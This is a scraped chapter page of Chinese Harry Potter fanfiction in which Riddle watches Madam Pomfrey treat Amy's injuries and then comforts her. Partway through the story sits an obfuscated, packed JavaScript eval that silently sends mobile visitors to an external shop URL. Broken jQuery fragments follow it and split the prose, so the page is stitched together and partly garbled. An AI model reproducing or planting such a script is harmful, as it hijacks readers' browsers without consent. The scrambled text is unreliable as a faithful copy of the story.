文趣网 > 其他小说 > hp同人无冕之王 > 65.艾米进医疗翼
    庞弗雷夫人把艾米的右手包扎好之后,又检查了她的右膝。旧伤复发,磕在石板地上的角度太寸,刚好撞在孤儿院时代那道旧伤的位置。

    艾米在孤儿院时曾从楼梯上摔下来过,那次右膝撞在台阶边缘的旧石板棱角上,科尔夫人用一卷从教堂旧捐助箱里捡来的纱布替她随便缠了几圈,没有冰袋,没有止痛咒,只有一个小男孩蹲在她面前,用他刚从厨房后门捡来的粉笔碎块在石板地上画了一条歪歪扭扭的线,说“你不要动,等它自己好”。

    那条线和后来被艾米画在孤儿院旧课桌底板上、又被他用同一截粉笔从她的方向往自己那边画偏整整大半英寸的线是同一条。只是那时的粉笔是白的,此刻缠在艾米膝盖上的是庞弗雷夫人刚从消毒柜里拿出来的新绷带。

    庞弗雷夫人皱着眉给她敷了消肿的药膏,一边敷一边唠叨说她当年从扫帚上摔下来的魁地奇伤员都没她这么能攒旧伤,然后指挥助手给她左手腕也缠了一圈弹性绷带,刚才用手肘撑地时挫伤了腕关节,艾米一直没吭声,直到庞弗雷夫人捏到她腕骨侧面时她才极轻地倒吸了一口气。

    里德尔站在医疗翼的窗边,背靠着窗台,双手交叉在胸前,看着庞弗雷夫人和助手在她身边忙前忙后。他的站姿和平时在委员会会议旁听席上一样:后背挺直,肩膀平稳,表情纹丝不动。

    但庞弗雷夫人的助手在给艾米换冰袋时不小心碰了一下艾米的膝盖,艾米还没出声,里德尔已经往前走了半步。助手被他那半步吓得手抖了一下,冰袋差点掉地上。艾米抬眼看了他一下,眼尾有一个极细微的收紧,不是责备,是提醒。

    “她手腕还有一处,”里德尔的声音压得比平时低,语调平稳,但每个字的间距比平时短,“右腕外侧。她摔下去时用手掌撑地,挫伤不会只在左手。右手掌心擦伤的同时右腕也承重了。你再检查一遍。”

    助手连忙又抬起她的右腕检查了一遍,果然在外侧骨突处找到了一块已经开始泛青的挫伤。艾米低头看着助手给她右腕也缠上绷带,什么都没说,只是把嘴角轻轻抿了一下。

    里德尔继续站在窗边,没有再往前走,但他交叉在胸前的右手拇指一直在无意识地摩挲小拇指上的戒指。那是斯莱特林的旧戒指,戒面刻着与密室石台和冈特老宅废墟铁箱底部那块碎角旧印章完全相同的蛇纹,底座内侧刻着一行她很多年前在庄园密室第一次看到时就认出、却从未向他求证过的蛇语符文,翻译过来只有一句话:“你不会独自躺在这里。”

    里德尔把它戴在小拇指上。这个位置离无名指太近,近到每一次他在夜深时批改论文批到最后一页、发现她蜷在旧扶手椅里睡着了,都会把戒指从这根手指上退下来放在笔架旁边,以免戒面的棱角在把她从椅子上抱起来时压到她的指节。

    此刻里德尔摩挲戒指的频率比平时快了将近一倍,是他在一层一层把那股还在血管里冲撞的魔力压回去,压进戒面那道被他无意识捏出的极细刻痕里。

    上一次里德尔把这道刻痕抚平还是在密室里第一次握住那根蛇形魔杖时,杖身在他掌心发出极低沉的嗡鸣并与戒面上的蛇纹同时共振,他在密室出口那道被新解开虫纹的拱门内侧站了很久。此后这些年里,戒指再也没有被他的魔力失控压出过任何刻痕。直到今天她从展厅的地面上抬起眼睛看他。

    “还有后腰。”里德尔的声音没有任何商量余地,“艾米摔倒时侧门支架的边角刚好在她身后。她刚才从走廊走过来时重心一直往左偏。不是因为右膝,是因为右后腰被撞到了。你让她侧过来。”

    庞弗雷夫人直起腰,回头看了他一眼。她见过无数个在医疗翼里指手画脚的家属:有吼人的,有哭的,有把魔杖抵在治疗师脖子上威胁必须用最好药膏的。

    但汤姆·里德尔站在窗边用课堂提问的语调逐条列出伤处位置,每一个字都像是从一份被她自己忽略、却早已被他从头到尾逐行复核过的伤情鉴定报告上撕下来的。她没有反驳,只是让艾米侧过身,撩起袍角检查了右后腰。果然有一块巴掌大的淤青,边缘已经开始发紫。撞得比膝盖更深,皮下出血的面积在灯光下肉眼可见。

    艾米在被按到淤青时终于忍不住哼了一声,声音很轻,压在喉咙底,但里德尔听到了。他把交叉在胸前的右手放下来,垂在腿侧,手指轻轻蜷了一下。

    庞弗雷夫人把几处新伤都处理完之后直起身扫了一眼病床边的记录板,说问题不算太严重但右膝旧伤需要静养几天,其他挫伤三天内就能消肿,然后带着助手出去取下一轮药膏。“你的伤口我已经包扎完了。至于别的事,我用不着提醒你。”她从里德尔身边经过时停了极短的一拍,然后头也不回地走出去了。门在她身后轻轻合上。

    医疗翼里只剩下他们两个。

    艾米坐在床边,右腿伸直搁在叠好的毯子上,左手腕缠着弹性绷带,右手掌心包着消毒棉球和愈合绷带,袖口被剪开了一道口子。她的头发从耳后散了几缕下来,落在锁骨旁边。她把那只画歪猫的杯子放在膝上,杯里的姜茶已经凉了。她低着头,用没受伤的左手食指沿着杯沿慢慢转了一圈,然后抬起眼看里德尔。

    里德尔站在窗边,逆着窗外的光,轮廓被勾成一道极暗极深的剪影。窗外的老山毛榉树正在午后阳光下轻轻旋动自己的无线电脉冲,树下那圈很早以前被里德尔和艾米第一次路过禁林边界时发现的獾形纹痕被冬日的苔藓衬得隐隐泛着金属灰,隔着城堡草坪和新安的弯道护,养护阵的脉动仍然隐隐传来。

    里德尔交叉在胸前的双手已经放下来了,但肩膀还是端得很平,整个人绷得比刚才在讲台上还要紧。他的眼睛落在她包着绷带的右手上,又移到她伸直的右膝,再移到她放在膝上那只画歪猫的杯子。他的喉结极轻地滚动了一下,但脸上仍然没有任何表情。

    “汤姆。”艾米叫里德尔的名字,声音很轻,比平时流转中心关门时还轻,“过来坐。”

    里德尔走过去。里德尔没有坐在她床边的椅子上。里德尔蹲下来,和艾米平齐,右膝点地,左臂搁在自己膝上,视线从她的右膝扫到她的右手腕,再从右手腕扫到她脸上。

    然后里德尔抬起手,把她搁在膝上那只包着绷带的右手轻轻拿起来,翻开手心。绷带是纯白的,庞弗雷夫人缠得很整齐,从虎口绕到掌根再绕过手腕,和她多年前在孤儿院厨房里第一次替他包扎手指时用的是同一种十字交叉绑法。

    那时里德尔刚学会用无杖魔法移动厨房盐罐不久,被科尔夫人发现后罚他削了整整一个下午的土豆,里德尔在削土豆时不小心在食指上切了一道很深的口子,艾米把从女修士旧药箱里翻出来的唯一一卷纱布按在他手指上,缠得太紧又拆掉,拆掉又重缠,反复好几遍才找到不让他疼又不让纱布滑脱的松紧度。

    此刻里德尔的拇指在绷带表面极轻地滑过,正好停在艾米当年第一次替他包扎时同样的位置——掌根偏虎口那道被石板擦伤的边缘。然后又把目光移到她右膝的旧伤上,那上面的消肿药膏还没完全吸收,膝盖骨外侧的肿胀在灯光下轮廓分明。他的拇指在她绷带上停了好几拍,没有说话。

    “还有哪里。”里德尔开口,声音压得很低,“除了庞弗雷夫人处理过的这几处。”

    “没有了。真的没有了。你把能找的都找出来了。手腕那个我都没发现,你比我还先知道。”艾米轻轻笑了一下,把右手从里德尔掌心抽出来,反过来覆在他手背上。她的手心包着绷带,触感粗糙,但她的指尖很轻地按在他指节上,和她每次在他状态不对时在流转中心的办公桌下轻轻按住他握笔过紧的手背时做的一模一样。里德尔沉默着,目光从她的右膝旧伤上移开,又落回她脸上。

    里德尔的表情还是纹丝不动。但艾米看到了里德尔眼尾那道细纹。那道她在孤儿院第一次发现他忍笑时出现的细纹,此刻不是上扬,是往下收了极细微的一点点。里德尔在心痛。不是怪谁,不是怨谁,不是要让任何人为这件事付出代价,只是单纯地看到她右膝上那块旧伤又肿起来、看到她袖口被剪开、看到她掌根缠着绷带还在对他笑时,心脏被什么东西狠狠攥了一下。

    艾米看着他蹲在地上袍子沾灰的样子,忽然想起很久以前。他们在孤儿院后院那棵老槐树下,里德尔蹲在地上用粉笔碎块画那条歪歪扭扭的线让她别动,他的膝盖也是这样磕在泥地上,袍角被泥水泡湿了一大块。

    那时候艾米不知道里德尔会成为斯莱特林的继承人,不知道他会在禁林深处独自找到那座沉睡了近千年的庄园,不知道他会在密室的石板前戴上那枚戒指然后站了很久,不知道他会在以后全世界都把他当成救世主的某一天,在她被撞倒在地时失控。她只是觉得,这个蹲在地上不肯坐到椅子上来的男人,和那个在孤儿院后院蹲在泥地上画线的男孩,从头到尾都是同一个人。

    艾米把杯子里最后一口凉姜茶喝完,然后用没受伤的左手把杯子搁在床头柜上。杯底磕在木头上的声音很轻,像是给她接下来要说的话打了个预备拍。她歪了歪头,用一种流转中心午休时闲聊的语气开了口。

    “不过说真的,你刚才在报告厅里真的很吓人。”她把右膝上的冰袋换了个角度,动作很随意,像是在讨论今天食堂的菜单,“那个屏障,你还没念咒它就出去了。前排那个瑞典魔药协会的老头子差点把茶杯打翻,我看到了,他扶杯子的时候手都在抖。还有那个德姆斯特朗的学生,他应该现在还坐在走廊里腿软得站不起来。你就是这么吓人,你知道吧。你站在那里,什么都没说,什么都没做,就是看了他们一眼。全吓傻了。几百个人,鸦雀无声。”

    艾米顿了顿,用一种更轻快、更像是在转述一件趣闻的语气补了一句:“后来我在走廊里扶着你走的时候,听到后排有人在嘀咕:说你是不是要把他们都变成蛇。”

    艾米说“变成蛇”这三个字时语调拖得比平时长,尾音往上扬,像是在品一个新发现的冷笑话:“你知道吗,他们说这话的时候表情特别认真,好像他们真的觉得你会把他们集体变成蛇。我当时就想说,你们想多了,他平时连罚学生留堂都只罚抄课本,才不会为你们浪费这么高级的魔法。变成蛇太便宜他们了。”

    里德尔听到最后一句时,眼尾那道往下收的细纹终于停住了。然后那道纹路开始往回走,松开了。像一根被拉得太紧的弦被人用指尖轻轻拨了一下,不再绷到极限。

    “变成蛇太便宜他们了。”里德尔重复了一遍。语调还是平稳的,但尾音往下沉了半寸,不是生气,是那种在艾米面前才可以拿出来的认真反驳和只有在她面前才不会被他收进面具里的、属于那个有强迫症、会记仇也记恩的孤儿院男孩的刻薄,

    “蛇至少不会推人。蛇的肌肉控制比人类精准得多,它们在狭窄空间内穿行时每一寸鳞片的角度都在实时调整,不会集体挤在同一个入口把前排的矮人学徒撞到展台支架上。而且蛇不会举着你的书让你签名然后把扉页踩上半个鞋印。”

    艾米笑了。那个笑从眼尾先起,然后漫到嘴角,把她整张脸都带得亮了一度。不是那种被他难得的刻薄逗乐的意外,而是你果然还是这个样子。

    “你看,你就是这个样子。我说你差点把人吓成蛇,你说蛇至少不推人,还附带一整段关于蛇类肌肉控制精度的学术论证。你上次用这种句式还是在委员会会议上驳回塞尔温家那份不合格的阵基渗透比例,你说‘泥炭苔藓在酸性土壤中的纤维韧性远低于深海胶质,建议回去重新测一次再提交’,然后他们真的回去重测了。这不是重点,汤姆。重点是人家是真的怕你,不是那种怕被扣分的怕,是那种怕你把他们变成什么东西的怕。你以后在外面能不能稍微收一收?我知道你不是故意的,我也知道那些在别人看起来是‘发火’的东西对你来说只是没来得及在开口之前先在心里多转一轮,但你不能每次都让人家以为你要把他们集体变成蛇。你站在那儿,魔杖还没出,就已经太吓人了。我怕你哪天还没开口,整个会场的人就自己开始说蛇语了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557329|204472||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里德尔说不会。

    艾米说那可不一定。她把冰袋翻了个面,重新搁在右膝上,然后抬起眼看里德尔,眼睛里的笑意还没完全收干净,但底下多了一层只有他看得出来的温柔的狡黠。她把左手伸过去,在里德尔胸口轻轻戳了一下。

    “你呀。你站在那里,什么都没做,就只是看了他们一眼,他们就全吓傻了。你还说你不是故意的。你知道你那个表情有多吓人。我是看习惯了,但是他们没看过。你下次上台之前先对着镜子练一下温和微笑,就对着你平时对我说话之前那个预备表情。那个还行,不吓人。报告厅那个不行,太凶了。不过说真的,谢谢你。”

    里德尔抬起眼看她。她把手从他胸口收回来,重新搁在膝上,低头看着自己包着绷带的右手掌心。艾米的语气轻快依旧,但语速慢了一些,像是在把一个很重要的东西放在最柔软的垫子上。“谢谢你当时只看了那个学生一眼。你后来扶我走出去的时候,他抬头看你,你对他点了一下头。他整个人就不抖了。我知道你在那一秒忍住了什么。”

    艾米把目光从绷带上抬起来,对着里德尔轻轻弯了一下眼角,“你是怕我醒了之后发现你把那个人吓得太厉害了,我会不高兴。”他沉默了片刻,然后把她的手从绷带上拿下来,翻过来,手心朝上,用手指在她虎口旁边极轻地按了一下。

    “他确实不是故意的。他摔下去时第一反应是把你的书从地上捡起来。他捡书时手指在抖,但他先捡的是书,不是自己的笔记。他的笔记散在旁边,被踩了好几页。他没有低头看,直到我把他拉起来。”里德尔说,“如果他是故意的,他现在已经在禁林里了。”里德尔说“禁林”时语调平稳得和“流转中心柜门没关好”差不多。

    艾米把里德尔的手轻轻拍了一下。“你看,又来了。这个样子就很好,只在我面前这样。在外面还是温和一点。毕竟你明天还要继续当你的完美教授,还要给那个被你吓到腿软的学生签名。不过他应该不敢再来找你了,但你如果看到他蹲在走廊角落,你就主动走过去帮他签了,省得他这辈子都不敢再翻开你那本书。”

    艾米把杯子拿起来递给他,“再去倒一杯。刚在报告厅里我被你吓出一身冷汗,刚刚都凉了。”

    里德尔接过杯子站起来。走到小炉子旁边时他背对着她,把姜茶倒进小锅里重新加热,动作和他在孤儿院厨房帮她煮第一杯红糖姜茶时完全一样。那时艾米发了整整三天的烧刚好,整个人瘦得像刚从晒衣绳上被吹落到台阶下面的旧布偶。他从女修士那里把用剩下来的老姜母片借回来,用科尔夫人每次做完早餐便一直放在灶台边加热的那只旧铜壶给她煮姜茶,然后从公用糖罐里偷偷多挖了半勺红糖。

    里德尔在做那件事时也是这个角度、这个姿势:背对着她,把姜茶倒进锅里,从抽屉里取出那个被她从孤儿院一直用到现在的旧糖盒。糖盒里现在装的是蜂蜜公爵今年新出的手工红糖,和当年被他在旧课桌底板上画线时不小心翻到手心外面的那半包从公用柜最底层挪过来的旧白砂糖不一样,

    但糖盒还是同一只。那只被艾米收进随身行李带到霍格沃茨、收进麻瓜研究学办公室、收进流转中心值班室、收进这间医疗翼的旧锡皮小盒子。里德尔打开盖子,加了半勺糖,和平时在流转中心帮她倒茶时一模一样。然后里德尔用那只画歪猫的茶杯装了半杯,把杯子放在病床边的柜上,等她喝完。

    艾米看着里德尔把杯子放在柜上,杯底轻轻磕在木头上。那条画歪的猫尾巴被医疗翼的灯光照得泛着暖釉的柔光,里德尔在杯柄放回靠她右手边时指尖轻轻碰了一下猫尾巴。那个动作很小,像是摸了一下猫尾巴。

    艾米用只有自己能听到的音量对着他的背影轻轻嘟囔了一句:“我这些年对着你不会被吓死,是真的心脏太厚了。”

    然后艾米把脸转向窗外。医疗翼的窗外冬苔正盛,老山毛榉的枝杈在午后阳光下轻轻晃了一下,树根底下那圈獾形纹痕被冬苔衬得隐隐泛着金属灰,养护阵的脉动隔着整条走廊和两扇门仍然能隐隐传来。

    艾米的耳朵红了,她忽然想起很久以前,在孤儿院后院那棵老槐树下,她摔伤膝盖时里德尔也是这样蹲在地上,用一种想打人却不敢在她面前发火的表情把她的伤口看了又看。

    然后里德尔站起来,把艾米的胳膊绕过自己的肩膀,扶她回去。那时候里德尔的手也像刚才在走廊里那样,扶着她走了一路,在她转过头去看自己刚才摔倒的那片台阶时,他的手指轻轻压了一下她的肩膀,是说他已经看到了,他不会忘记。那时她不知道从孤儿院后院到医疗翼要走这么多年。

    艾米也不知道里德尔会变成斯莱特林的继承人,会变成整个欧洲所有魔法阵的唯一共同技术官员,会在她自己都没意识到自己被人撞倒之前就用无杖屏障把整间报告厅压到鸦雀无声。她只知道里德尔把她扶起来,像她把他从水坑旁拉回来一样。那年她从水坑里捡起她的旧册子,晾干之后在最后一页写了一个日期,

    那时艾米不知道里德尔以后会在她的每一次旧伤复发时都用左手的魔力替她止疼,只知道同一天晚上男孩从他自己的枕头底下把那一本油迹斑斑的旧菜谱拿出来放在她枕头下面。那是里德尔从厨房后门地上捡来的,他把所有他认得的东西都放在她枕头下面了。

    现在他们换了另一间病房,里德尔刚才把她的杯子拿在手里,加回她平时习惯的半勺糖,然后把杯子放在她的右膝旁边,杯底那行釉下蓝字正对着医疗翼的窗。

    艾米低头看了一眼那只杯子,又抬头看里德尔的背影。

    里德尔说不要告诉别人。她说知道了,以后再不拦你了,反正拦不住。

    杯子边她给他留了半壶热水和那盒从孤儿院一直用到现在的旧锡皮糖盒。她把右脚从冰袋旁边挪开,给他在床边的椅子上让出一个坐下来的空位。窗台上那只她刚才从庞弗雷夫人器具柜下面捡起的旧锡皮糖盒正被冬日的阳光映出边缘褪色的漆字。